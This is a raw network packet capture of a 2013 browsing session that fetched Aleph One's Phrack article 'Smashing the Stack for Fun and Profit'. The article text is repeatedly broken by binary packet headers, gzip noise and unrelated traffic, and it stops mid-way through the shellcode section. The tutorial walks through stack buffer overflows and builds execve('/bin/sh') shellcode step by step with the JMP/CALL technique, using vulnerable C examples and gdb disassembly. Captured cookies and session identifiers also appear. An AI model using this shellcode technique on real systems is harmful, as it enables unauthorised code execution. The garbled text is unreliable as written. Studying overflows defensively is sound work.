SRCHUID=V=2&GUID=9CF4CBDBA89A473F9A73016954C78C85; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20130315; SRCHHPGUSR=CW=1583&CH=620; _SS=SID=300CD838EDF147299AA4DE75DA922896&C=21&nhIm=53-; DUP=Q=ESSuiwDDtYbmkC3L5Moy&T=164163611&IG=417a057ebc3c4bba90618060707d1ff1&V=1&A=2; SRCHS=PC=MOZI; FBS=WTS=1363309212698; WLS=TS=63498906011; _HOP=I=1&TS=1363309213 ,w 66':{RT5E(@22c P C]/ P, ::':{RT5E,@-2c P C]/ Pi#HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Vary: Accept-Encoding Content-Encoding: gzip Date: Fri, 15 Mar 2013 01:00:14 GMT Content-Length: 707 Connection: keep-alive Set-Cookie: _HOP=; domain=.bing.com; path=/ uTmO0ίȬ)E[IEch&*7qCjGK(~~~MP>ϝ> Fn/NKC'ݝ/^v᪖VjK.o kcMjwju]<[4)EGi?Җ!U֎XLt:_kF)zv^Yb#m>gnq^#UqCu%0ȔKu&b F(KBmcucq,޻ ͤ5e/*%"[Jl0yuT`CU^%E{Ԛk1g]vLbE9HX!-_o"XBފmL $(kMEɭљ,&.֔c` TU7|*|97!K(I}IUJ%\$*E@ƒֳIm ? B w}c_(Q"ZY gT*kZqz ,NJ<J9 WAeZ1F*b43%fYjTNjlm Org*\zJVWVv};^a^`˫1`90&D$V/`)0N$ 6`K$ᙆcrrs?_=J},<<RT5':{E(e@= 9_Rl>RT5':{E0y@^ JPzpb/X::':{RT5E,@#J P".z`DH/߱<<RT5':{E(z@e JPz".Pa/RT5':{E{@ JPz".PGET /stf/smashstack.html HTTP/1.1 Host: insecure.org User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://www.bing.com/search?q=smashing+the+stack+for+fun+and+profit&form=MOZSBR&pc=MOZI Cookie: __utma=127625173.1414085572.1363307882.1363308306.1363308647.4; __utmb=127625173.1.10.1363308647; __utmz=127625173.1363308647.4.4.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=smashing%20the%20stack%20for%20fun%20and%20profit /66':{RT5E(@#J P".zSPY/6<<RT5':{E(~@ 2c P]/uHPWocsp /L[':{RT5E@TJ P".zSPHTTP/1.1 200 OK Date: Fri, 15 Mar 2013 01:00:16 GMT Server: Apache/2.2.3 (CentOS) Accept-Ranges: bytes Keep-Alive: timeout=10, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 13c Smashing the Stack for Fun and Profit by Aleph One 1a51
    Home page logo
    /
    1042d
                                   .oO Phrack 49 Oo.
    
                              Volume Seven, Issue Forty-Nine
                                         
                                      File 14 of 16
    
                          BugTraq, r00t, and Underground.Org
                                       bring you
    
                         XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                         Smashing The Stack For Fun And Profit
                         XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
                                     by Aleph One
                                 aleph1@underground.org
    
    	`smash the stack` [C programming] n. On many C implementations
    	it is possible to corrupt the execution stack by writing past
    	the end of an array declared auto in a routine.  Code that does
    	this is said to smash the stack, and can cause return from the
    	routine to jump to a random address.  This can produce some of
    	the most insidious data-dependent bugs known to mankind.
    	Variants include trash the stack, scribble the stack, mangle
    	the stack; the term mung the stack is not used, as this is
    	never done intentionally. See spam; see also alias bug,
    	fandango on core, memory leak, precedence lossage, overrun screw.
    
    
                                  /m':{RT5E@#MJ
    P"OfzSP
       Introduction
                                     ~~~~~~~~~~~~
    
       Over the last few months there has been a large increase of buffer
    overflo/r<<RT5':{E(@]
    JPzS"OfP=5downl/ {':{RT5E@LJ
    P"OzSPw vulnerabilities being both discovered and exploited.  Examples
    of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt 
    library, at, etc.  This paper attempts to explain what buffer overflows 
    are, and how their exploits work.
    
       Basic knowledge of assembly is required.  An understanding of virtual 
    memory concepts, and experience with gdb are very helpful but not necessary.
    We also assume we are working with an Intel x86 CPU, and that the operating 
    system is Linux.
    
       Some basic definitions before we begin: A buffer is simply a contiguous 
    block of computer memory that holds multiple instances of the same data 
    type.  C programmers normally associate with the word buffer arrays. Most 
    commonly, character arrays.  Arrays, like all variables in C, can be 
    declared either static or dynamic.  Static variables are allocated at load 
    time on the data segment.  Dynamic variables are allocated at run time on 
    the stack. To overflow is to flow, or fill over the top, brims, or bounds. 
    We will concern ourselves only with the overflow of dynamic buffers, otherwise
    known as stack-based buffer overflows.
    
    
                              Process Memory Organization
                              ~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
       To understand what stack buffers are we must first understand how a
    process is organized in memory.  Processes are divided into three regions:
    Text, Data, and Stack.  We will co/{':{RT5E	@KJ
    P"U~zSPncentrate on the stack region, but first
    a small overview of the other regions is in order.
    
       The text region is fixed by the program and includes code (instructions)
    and read-only data.  This region corresponds to the text section of the
    executable file.  This region is normally marked read-only and any attempt to
    write to it will result in a segmentation violation.
    
       The data region contains initialized and uninitialized data.  Static
    variables are stored in this region.  The data region corresponds to the
    data-bss sections of the executable file.  Its size can be changed with the
    brk(2) system call.  If the expansion of the bss data or the user stack
    exhausts available memory, the process is blocked and is rescheduled to
    run again with a larger memory space. New memory is added between the data
    and stack segments.
    
                                 /------------------\  lower
                                 |                  |  memory
                                 |       Text       |  addresses
                                 |                  |
                                 |------------------|
                                 |   (Initialized)  |
                                 |        Data      |
                                 |  (Uninitialized) |
                                 |------------------|
                                 |                  |
                                 |       Stack      |  higher
      /|nn':{RT5E`
    @#J
    P"[
    zSP^                           |                  |  memory
    /T~':{RT5E@IJ
    P"[BzSPb                             \------------------/  addresses
    
                             Fig. 1 Process Memory Regions
    
    
                                   What Is A Stack?
                                   ~~~~~~~~~~~~~~~~
    
       A stack is an abstract data type frequently used in computer science.  A
    stack of objects has the property that the last object placed on the stack
    will be the first object removed.  This property is commonly referred to as
    last in, first out queue, or a LIFO.
    
       Several operations are defined on stacks.  Two of the most important are
    PUSH and POP.  PUSH adds an element at the top of the stack.  POP, in 
    contrast, reduces the stack size by one by removing the last element at the 
    top of the stack.
    
    
                                Why Do We Use A Stack?
                                ~~~~~~~~~~~~~~~~~~~~~~
    
       Modern computers are designed with the need of high-level languages in
    mind.  The most important technique for structuring programs introduced by
    high-level languages is the procedure or function.  From one point of view, a
    procedure call alters the flow of control just as a jump does, but unlike a
    jump, when finished performing its task, a function returns control to the 
    statement or instruction following the call.  This high-level abstraction
    is implemented with the help of the stack.
    
      The stack is also used to dynamically allocate the local variables used in
    functions, to pass/~':{RT5E@HJ
    P"`zSP0s parameters to the functions, and to return values from the
    function.
    
    
                                   The Stack Region
                                   ~~~~~~~~~~~~~~~~
    
       A stack is a contiguous block of memory containing data.  A register called
    the stack pointer (SP) points to the top of the stack.  The bottom of the 
    stack is at a fixed address.  Its size is dynamically adjusted by the kernel 
    at run time. The CPU implements instructions to PUSH onto and POP off of the 
    stack. 
    
       The stack consists of logical stack frames that are pushed when calling a
    function and popped when returning.  A stack frame contains the parameters to 
    a function, its local variables, and the data necessary to recover the 
    previous stack frame, including the value of the instruction pointer at the 
    time of the function call.
    
       Depending on the implementation the stack will either grow down (towards
    lower memory addresses), or up.  In our examples we'll use a stack that grows
    down.  This is the way the stack grows on many computers including the Intel, 
    Motorola, SPARC and MIPS processors.  The stack pointer (SP) is also
    implementation dependent.  It may point to the last address on the stack, or 
    to the next free available address after the stack.  For our discussion we'll
    assume it points to the last address on the stack.
    
       In addition to the stack pointer, which points to the top of the stack
    (lowest numeric/]<<RT5':{E(@\
    JPzS"U~P7/<<RT5':{E(@[
    JPzS"[BP1YPOST //nn':{RT5E`
    @#J
    P"fZzSP/al address), it is often convenient to have a frame poin/<<RT5':{E(@Z
    JPzS"fZP&A/ 	>>RT5':{E0@J
    JP=_p/X$	>>RT5':{E0@B
    JPp/2	>>RT5':{E0@<
    JPmp/	':{RT5E@FJ
    P"fzSP}Eter
    (FP) which points to a fixed location within a frame.  Some texts also refer
    to it as a local base pointer (LB).  In principle, local variables could be
    referenced by giving their offsets from SP.  However, as words are pushed onto
    the stack and popped from the stack, these offsets change.  Although in some
    cases the compiler can keep track of the number of words on the stack and
    thus correct the offsets, in some cases it cannot, and in all cases
    considerable administration is required.  Futhermore, on some machines, such
    as Intel-based processors, accessing a variable at a known distance from SP
    requires multiple instructions.
    
       Consequently, many compilers use a second register, FP, for referencing
    both local variables and parameters because their distances from FP do
    not change with PUSHes and POPs.  On Intel CPUs, BP (EBP) is used for this 
    purpose.  On the Motorola CPUs, any address register except A7 (the stack 
    pointer) will do.  Because the way our stack grows, actual parameters have 
    positive offsets and local variables have negative offsets from FP.
    
       The first thing a procedure must do when called is save the previous FP
    (so it can be restored at procedure exit).  Then it copies SP into FP to 
    create the new FP, and advances SP to reserve space for the local variables. 
    This code is called the procedure prolog.  Upon procedure exit, the stack 
    must be cleaned up again, something/k	RR':{RT5ED@#J
    P"lzSPZ called the procedure epilog/}	':{RT5E@DJ
    P"l:zSP.  The Intel 
    ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, 
    have been provided to do most of the procedure prolog and epilog work 
    efficiently. 
    
       Let us see what the stack looks like in a simple example:
    
    example1.c:
    ------------------------------------------------------------------------------
    void function(int a, int b, int c) {
       char buffer1[5];
       char buffer2[10];
    }
    
    void main() {
      function(1,2,3);
    }
    ------------------------------------------------------------------------------
    
       To understand what the program does to call function() we compile it with
    gcc using the -S switch to generate assembly code output:
    
    $ gcc -S -o example1.s example1.c
    
       By looking at the assembly language output we see that the call to
    function() is translated to:
    
            pushl $3
            pushl $2
            pushl $1
            call function
    
        This pushes the 3 arguments to function backwards into the stack, and
    calls function().  The instruction 'call' will push the instruction pointer
    (IP) onto the stack.  We'll call the saved IP the return address (RET).  The
    first thing done in function is the procedure prolog:
    
            pushl %ebp
            movl %esp,%ebp
            subl $20,%esp
    
       This pushes EBP, the frame pointer, onto the stack.  It then copies the
    current SP onto EBP, making it the new FP pointer.  We'll call the saved FP
    pointer SFP.  It then allocates space for the local/Ⱦ	RR':{RT5ED@#J
    P"qzSPT variables by subtracting
    th/s	<<RT5':{E(@5
    JPzS"lP }/>	<<RT5':{E(@4
    JPzS"qPH }/	':{RT5E@BJ
    P"qzSPeir size from SP.
    
       We must remember that memory can only be addressed in multiples of the
    word size.  A word in our case is 4 bytes, or 32 bits.  So our 5 byte buffer
    is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
    is going to take 12 bytes (3 words) of memory.  That is why SP is being
    subtracted by 20.  With that in mind our stack looks like this when
    function() is called (each space represents a byte):
    
    
    bottom of                                                            top of
    memory                                                               memory
               buffer2       buffer1   sfp   ret   a     b     c
    <------   [            ][        ][    ][    ][    ][    ][    ]
    	   
    top of                                                            bottom of
    stack                                                                 stack
    
    
                                   Buffer Overflows
                                   ~~~~~~~~~~~~~~~~
    
       A buffer overflow is the result of stuffing more data into a buffer than
    it can handle.  How can this often found programming error can be taken
    advantage to execute arbitrary code?  Lets look at another example:
    
    example2.c
    ------------------------------------------------------------------------------
    void function(char *str) {
       char buffer[16];
    
       strcpy(buffer,str);
    }
    
    void main() {
      char large_string[256];
      int i;
    
      for( i = /t	':{RT5E@AJ
    P"wnzSPV0; i < 255; i++)
        large_string[i] = 'A';
    
      function(large_string);
    }
    ------------------------------------------------------------------------------
    
       This is program has a function with a typical buffer overflow coding
    error.  The function copies a supplied string without bounds checking by
    using strcpy() instead of strncpy().  If you run this program you will get a
    segmentation violation.  Lets see what its stack looks when we call function:
    
    
    bottom of                                                            top of
    memory                                                               memory
                      buffer            sfp   ret   *str
    <------          [                ][    ][    ][    ]
    
    top of                                                            bottom of
    stack                                                                 stack
    
    
       What is going on here?  Why do we get a segmentation violation?  Simple.
    strcpy() is coping the contents of *str (larger_string[]) into buffer[]
    until a null character is found on the string.  As we can see buffer[] is
    much smaller than *str.  buffer[] is 16 bytes long, and we are trying to stuff
    it with 256 bytes.  This means that all 250 bytes after buffer in the stack
    are being overwritten.  This includes the SFP, RET, and even *str!  We had 
    filled large_string with the character 'A'.  It's hex character value
    is 0x41.  That means t/	nn':{RT5E`@#J
    P"|zSPJhat the return address is now 0x41414141.  This is
    outsi/I	<<RT5':{E(@3
    JPzS"wnP-/	<<RT5':{E(@2
    JPzS"}2PiPOST //	':{RT5E@?J
    P"}2zSPNde of the process address space.  That is why when the function returns
    and tries to read the next instruction from that address you get a 
    segmentation violation.
    
       So a buffer overflow allows us to change the return address of a function.
    In this way we can change the flow of execution of the program.  Lets go back
    to our first example and recall what the stack looked like:
    
    
    bottom of                                                            top of
    memory                                                               memory
               buffer2       buffer1   sfp   ret   a     b     c
    <------   [            ][        ][    ][    ][    ][    ][    ]
    
    top of                                                            bottom of
    stack                                                                 stack
    
    
       Lets try to modify our first example so that it overwrites the return
    address, and demonstrate how we can make it execute arbitrary code.  Just
    before buffer1[] on the stack is SFP, and before it, the return address.
    That is 4 bytes pass the end of buffer1[].  But remember that buffer1[] is
    really 2 word so its 8 bytes long.  So the return address is 12 bytes from
    the start of buffer1[].  We'll modify the return value in such a way that the
    assignment statement 'x = 1;' after the function call will be jumped.  To do
    so we add 8 bytes to the return address.  Our code is now:
    
    example3.c:
    ----/i	RR':{RT5ED@#J
    P"zSP1----------------------------/	':{RT5E@=J
    P"zSP----------------------------------------------
    void function(int a, int b, int c) {
       char buffer1[5];
       char buffer2[10];
       int *ret;
    
       ret = buffer1 + 12;
       (*ret) += 8;
    }
    
    void main() {
      int x;
    
      x = 0;
      function(1,2,3);
      x = 1;
      printf("%d\n",x);
    }
    ------------------------------------------------------------------------------
    
       What we have done is add 12 to buffer1[]'s address.  This new address is
    where the return address is stored.  We want to skip pass the assignment to
    the printf call.  How did we know to add 8 to the return address?  We used a
    test value first (for example 1), compiled the program, and then started gdb:
    
    ------------------------------------------------------------------------------
    [aleph1]$ gdb example3
    GDB is free software and you are welcome to distribute copies of it
     under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
    (no debugging symbols found)...
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8000490 <main>:       pushl  %ebp
    0x8000491 <main+1>:     movl   %esp,%ebp
    0x8000493 <main+3>:     subl   $0x4,%esp
    0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
    0x800049d <main+13>:    pushl  $0x3
    0x800049f <main+15>:    pushl  $0x/	RR':{RT5ED@#J
    P"fzSPX 2
    0x80004a1 <main+17>:/	<<RT5':{E(@+
    JPzS"PHiGET /s/	<<RT5':{E(@*
    JPzS"P /z	':{RT5E@;J
    P"zSP    pushl  $0x1
    0x80004a3 <main+19>:    call   0x8000470 <function>
    0x80004a8 <main+24>:    addl   $0xc,%esp
    0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
    0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
    0x80004b5 <main+37>:    pushl  %eax
    0x80004b6 <main+38>:    pushl  $0x80004f8
    0x80004bb <main+43>:    call   0x8000378 <printf>
    0x80004c0 <main+48>:    addl   $0x8,%esp
    0x80004c3 <main+51>:    movl   %ebp,%esp
    0x80004c5 <main+53>:    popl   %ebp
    0x80004c6 <main+54>:    ret
    0x80004c7 <main+55>:    nop
    ------------------------------------------------------------------------------
    
       We can see that when calling function() the RET will be 0x8004a8, and we
    want to jump past the assignment at 0x80004ab.  The next instruction we want
    to execute is the at 0x8004b2.  A little math tells us the distance is 8
    bytes.
    
    
                                      Shell Code
                                      ~~~~~~~~~~
    
       So now that we know that we can modify the return address and the flow of
    execution, what program do we want to execute?  In most cases we'll simply
    want the program to spawn a shell.  From the shell we can then issue other
    commands as we wish.  But what if there is no such code in the program we
    are trying to exploit?  How can we place arbitrary instruction into its
    address space?  The answer is to place t/	RR':{RT5ED@#J
    P"zSP%#he code with are trying to e/	':{RT5E@9J
    P"*zSPwxecute in
    the buffer we are overflowing, and overwrite the return address so it points
    back into the buffer.  Assuming the stack starts at address 0xFF, and that S
    stands for the code we want to execute the stack would then look like this:
    
    
    bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
    memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
               buffer                sfp   ret   a     b     c
    
    <------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
               ^                            |
               |____________________________|
    top of                                                            bottom of
    stack                                                                 stack
    
    
    The code to spawn a shell in C looks like:
    
    shellcode.c
    -----------------------------------------------------------------------------
    #include <stdio.h>
    
    void main() {
       char *name[2];
    
       name[0] = "/bin/sh";
       name[1] = NULL;
       execve(name[0], name, NULL);
    }
    ------------------------------------------------------------------------------
    
       To find out what does it looks like in assembly we compile it, and start
    up gdb.  Remember to use the -static flag. Otherwise the actual code the
    for the execve system call will not be included.  Instead there will be a
    reference to dynamic C library that would normally would be linked in at
    load time.
    
    ----------/Z	RR':{RT5ED@#J
    P"zSP{9----------------------------/
    <<RT5':{E(@)
    JPzS"*PHlogin/
    <<RT5':{E(@(
    JPzS"PGET /t/
    ':{RT5E@7J
    P"zSP----------------------------------------
    [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
    [aleph1]$ gdb shellcode
    GDB is free software and you are welcome to distribute copies of it
     under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8000130 <main>:       pushl  %ebp
    0x8000131 <main+1>:     movl   %esp,%ebp
    0x8000133 <main+3>:     subl   $0x8,%esp
    0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
    0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
    0x8000144 <main+20>:    pushl  $0x0
    0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
    0x8000149 <main+25>:    pushl  %eax
    0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
    0x800014d <main+29>:    pushl  %eax
    0x800014e <main+30>:    call   0x80002bc <__execve>
    0x8000153 <main+35>:    addl   $0xc,%esp
    0x8000156 <main+38>:    movl   %ebp,%esp
    0x8000158 <main+40>:    popl   %ebp
    0x8000159 <main+41>:    ret
    End of assembler dump.
    (gdb) disassemble __execve
    Dump of assembler code for function __execve:
    0x80002bc <__execve>:   pushl  %ebp
    0x80002bd <__execve+1>: movl   %esp,%ebp
    0x80002bf <__execve/
    ':{RT5E@6J
    P"^zSP+3>: pushl  %ebx
    0x80002c0 <__execve+4>: movl   $0xb,%eax
    0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
    0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
    0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
    0x80002ce <__execve+18>:        int    $0x80
    0x80002d0 <__execve+20>:        movl   %eax,%edx
    0x80002d2 <__execve+22>:        testl  %edx,%edx
    0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
    0x80002d6 <__execve+26>:        negl   %edx
    0x80002d8 <__execve+28>:        pushl  %edx
    0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
    0x80002de <__execve+34>:        popl   %edx
    0x80002df <__execve+35>:        movl   %edx,(%eax)
    0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
    0x80002e6 <__execve+42>:        popl   %ebx
    0x80002e7 <__execve+43>:        movl   %ebp,%esp
    0x80002e9 <__execve+45>:        popl   %ebp
    0x80002ea <__execve+46>:        ret
    0x80002eb <__execve+47>:        nop
    End of assembler dump.
    ------------------------------------------------------------------------------
    
    Lets try to understand what is going on here. We'll start by studying main:
    
    ------------------------------------------------------------------------------
    0x8000130 <main>:       pushl  %ebp
    0x8000131 <main+1>:     movl   %esp,%ebp
    0/^
    ':{RT5E@5J
    P"zSPx8000133 <main+3>:     subl   $0x8,%esp
    
    	This is the procedure prelude.  It first saves the old frame pointer,
    	makes the current stack pointer the new frame pointer, and leaves 
    	space for the local variables. In this case its:
    
    	char *name[2];
    
    	or 2 pointers to a char. Pointers are a word long, so it leaves
    	space for two words (8 bytes).
    
    0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
    
    	We copy the value 0x80027b8 (the address of the string "/bin/sh")
    	into the first pointer of name[]. This is equivalent to:
    
    	name[0] = "/bin/sh";
    
    0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
    
    	We copy the value 0x0 (NULL) into the seconds pointer of name[].
    	This is equivalent to:
    
    	name[1] = NULL;
    
    	The actual call to execve() starts here.
    
    0x8000144 <main+20>:    pushl  $0x0
    
    	We push the arguments to execve() in reverse order onto the stack.
    	We start with NULL.
    
    0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
    
    	We load the address of name[] into the EAX register.
    
    0x8000149 <main+25>:    pushl  %eax
    
    	We push the address of name[] onto the stack.
    
    0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
    
    	We load the address of the string "/bin/sh" into the EAX register.
    
    0x800014d <main+29>:    pushl  %eax
    
    	We push the address of the string "/bin/sh" onto the stack.
    
    0x800014e <main+30>:    call   0x80002bc <__execve>
    
    	Ca/
    ':{RT5E @4J
    P"vzSP^ll the library procedure execve().  The call instruction pushes the
    	IP onto the stack.
    ------------------------------------------------------------------------------
    
       Now execve().  Keep in mind we are using a Intel based Linux system.  The
    syscall details will change from OS to OS, and from CPU to CPU.  Some will 
    pass the arguments on the stack, others on the registers.  Some use a software
    interrupt to jump to kernel mode, others use a far call.  Linux passes its 
    arguments to the system call on the registers, and uses a software interrupt 
    to jump into kernel mode.
    
    ------------------------------------------------------------------------------
    0x80002bc <__execve>:   pushl  %ebp
    0x80002bd <__execve+1>: movl   %esp,%ebp
    0x80002bf <__execve+3>: pushl  %ebx
    
    	The procedure prelude.
    
    0x80002c0 <__execve+4>: movl   $0xb,%eax
    
    	Copy 0xb (11 decimal) onto the stack. This is the index into the
    	syscall table.  11 is execve.
    
    0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
    
    	Copy the address of "/bin/sh" into EBX.
    
    0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
    
    	Copy the address of name[] into ECX.
    
    0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
    
    	Copy the address of the null pointer into %edx.
    
    0x80002ce <__execve+18>:        int    $0x80
    
    	Change into kernel mode.
    ------------------------------------------------------------------------/
    ':{RT5E!@#OJ
    P"zSP------
    
    So as we can see there is not much to the execve() system call.  All we need
    to do is:
    
    	a) Have the nul/
    <<RT5':{E(@'
    JPzS"P/+
    <<RT5':{E(@&
    JPzS"vPd/h
    <<RT5':{E(@%
    JPzS"rPh/
    ':{RT5E"@2J
    P"rzSPkl terminated string "/bin/sh" somewhere in memory.
    	b) Have the address of the string "/bin/sh" somewhere in memory
    	   followed by a null long word.
    	c) Copy 0xb into the EAX register.
    	d) Copy the address of the address of the string "/bin/sh" into the
    	   EBX register.
    	e) Copy the address of the string "/bin/sh" into the ECX register.
    	f) Copy the address of the null long word into the EDX register.
    	g) Execute the int $0x80 instruction.
    
       But what if the execve() call fails for some reason?  The program will
    continue fetching instructions from the stack, which may contain random data!
    The program will most likely core dump.  We want the program to exit cleanly
    if the execve syscall fails.  To accomplish this we must then add a exit
    syscall after the execve syscall.  What does the exit syscall looks like?
    
    exit.c
    ------------------------------------------------------------------------------
    #include <stdlib.h>
    
    void main() {
            exit(0);
    }
    ------------------------------------------------------------------------------
    
    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o exit -static exit.c
    [aleph1]$ gdb exit
    GDB is free software and you are welcome to distribute copies of it
     under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.15 (i586-unknown/
    ':{RT5E#@1J
    P"zSP-linux), Copyright 1995 Free Software Foundation, Inc...
    (no debugging symbols found)...
    (gdb) disassemble _exit
    Dump of assembler code for function _exit:
    0x800034c <_exit>:      pushl  %ebp
    0x800034d <_exit+1>:    movl   %esp,%ebp
    0x800034f <_exit+3>:    pushl  %ebx
    0x8000350 <_exit+4>:    movl   $0x1,%eax
    0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
    0x8000358 <_exit+12>:   int    $0x80
    0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
    0x800035d <_exit+17>:   movl   %ebp,%esp
    0x800035f <_exit+19>:   popl   %ebp
    0x8000360 <_exit+20>:   ret
    0x8000361 <_exit+21>:   nop
    0x8000362 <_exit+22>:   nop
    0x8000363 <_exit+23>:   nop
    End of assembler dump.
    ------------------------------------------------------------------------------
    
       The exit syscall will place 0x1 in EAX, place the exit code in EBX,
    and execute "int 0x80".  That's it.  Most applications return 0 on exit to
    indicate no errors.  We will place 0 in EBX.  Our list of steps is now:
    
    	a) Have the null terminated string "/bin/sh" somewhere in memory.
    	b) Have the address of the string "/bin/sh" somewhere in memory
    	   followed by a null long word.
    	c) Copy 0xb into the EAX register.
    	d) Copy the address of the address of the string "/bin/sh" into the
    	   EBX register.
    	e) Copy the address of the string "/bin/sh" into the ECX register.
    	f) Copy the address of the /H
    nn':{RT5E`$@#J
    P"zSPvnull long word into the EDX register.
    	g) Execute the in/	
    <<RT5':{E(@$
    JPzS"PP/=
    >>RT5':{E0@
    JP͘_p/
    <<RT5':{E(@"
    JPzS"P`h/f?
    IIRT5':{E;
    
    5'Uigadspeednet/cX
    JJRT5':{E<
    
    5(-23wwwgooglecom/
    ]
    ::':{RT5E,%@#J
    P$"=_`M/E^
    <<RT5':{E(@
    JP=_$"P/s
    ':{RT5E&@_
    
    5Ugadspeednetla+C+H	+`,{+`,+A9+C+`,j/}
    TTRT5':{EF
    
    @52*Qwwwgoogle-analyticscom/
    ::':{RT5E,'@#J
    P%`/
    ':{RT5E(@`)
    
    5x23wwwgooglecomJ}2J}0J}1J}4J}3/8
    <<RT5':{E(@
    JP%PNja4bi/
    ::':{RT5E,)@#J
    P&m`/"
    <<RT5':{E(@
    JPm&Pinsec/
    >>RT5':{E0@s
    CPX/?pi/5
    00':{RT5E"*@_
    
    5@Qwwwgoogle-analyticscomn www-google-analyticslgoogle!6+"6+(6+#6+$6+'6+%6+.6+!6+)6+&6+ /]>>RT5':{E0@:
    J}2P
    epj/&':{RT5E+@)J
    P"zSPt $0x80 instruction.
    	h) Copy 0x1 into the EAX register.
    	i) Copy 0x0 into the EBX register.
    	j) Execute the int $0x80 instruction.
    
       Trying to put this together in assembly language, placing the string
    after the code, and remembering we will place the address of the string,
    and null word after the array, we have:
    
    ------------------------------------------------------------------------------
            movl   string_addr,string_addr_addr
    	movb   $0x0,null_byte_addr
            movl   $0x0,null_addr
            movl   $0xb,%eax
            movl   string_addr,%ebx
            leal   string_addr,%ecx
            leal   null_string,%edx
            int    $0x80
            movl   $0x1, %eax
            movl   $0x0, %ebx
    	int    $0x80
            /bin/sh string goes here.
    ------------------------------------------------------------------------------
    
       The problem is that we don't know where in the memory space of the 
    program we are trying to exploit the code (and the string that follows 
    it) will be placed.  One way around it is to use a JMP, and a CALL 
    instruction.  The JMP and CALL instructions can use IP relative addressing, 
    which means we can jump to an offset from the current IP without needing 
    to know the exact address of where in memory we want to jump to.  If we 
    place a CALL instruction right before the "/bin/sh" string, and a JMP 
    instruction to it, the strings address will be pushed onto the stack as 
    the return address /S'RR':{RT5ED,@#J
    P"NzSP5when CALL is executed.  All /)<<RT5':{E(@
    JPzS"jP0GET /f/+':{RT5E-@'J
    P"jzSPwe need then is to copy the 
    return address into a register.  The CALL instruction can simply call the 
    start of our code above.  Assuming now that J stands for the JMP instruction,
    C for the CALL instruction, and s for the string,  the execution flow would 
    now be:
    
    
    bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
    memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
               buffer                sfp   ret   a     b     c
    
    <------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
               ^|^             ^|            |
               |||_____________||____________| (1)
           (2)  ||_____________||
                 |______________| (3)
    top of                                                            bottom of
    stack                                                                 stack
    
    
    
       With this modifications, using indexed addressing, and writing down how
    many bytes each instruction takes our code looks like:
    
    ------------------------------------------------------------------------------
            jmp    offset-to-call           # 2 bytes
            popl   %esi                     # 1 byte
            movl   %esi,array-offset(%esi)  # 3 bytes
            movb   $0x0,nullbyteoffset(%esi)# 4 bytes
            movl   $0x0,null-offset(%esi)   # 7 bytes
            movl   $0xb,%eax                # 5 bytes
            movl   %esi,%ebx                # 2 bytes
            lea/,RR':{RT5ED.@#J
    P"zSP:l   array-offset,(%esi),%ecx/l-<<RT5':{E(@
    JPzS"PH0www
    e/.':{RT5E/@%J
    P"zSP # 3 bytes
            leal   null-offset(%esi),%edx   # 3 bytes
            int    $0x80                    # 2 bytes
            movl   $0x1, %eax		# 5 bytes
            movl   $0x0, %ebx		# 5 bytes
    	int    $0x80			# 2 bytes
            call   offset-to-popl           # 5 bytes
            /bin/sh string goes here.
    ------------------------------------------------------------------------------
    
       Calculating the offsets from jmp to call, from call to popl, from
    the string address to the array, and from the string address to the null
    long word, we now have:
    
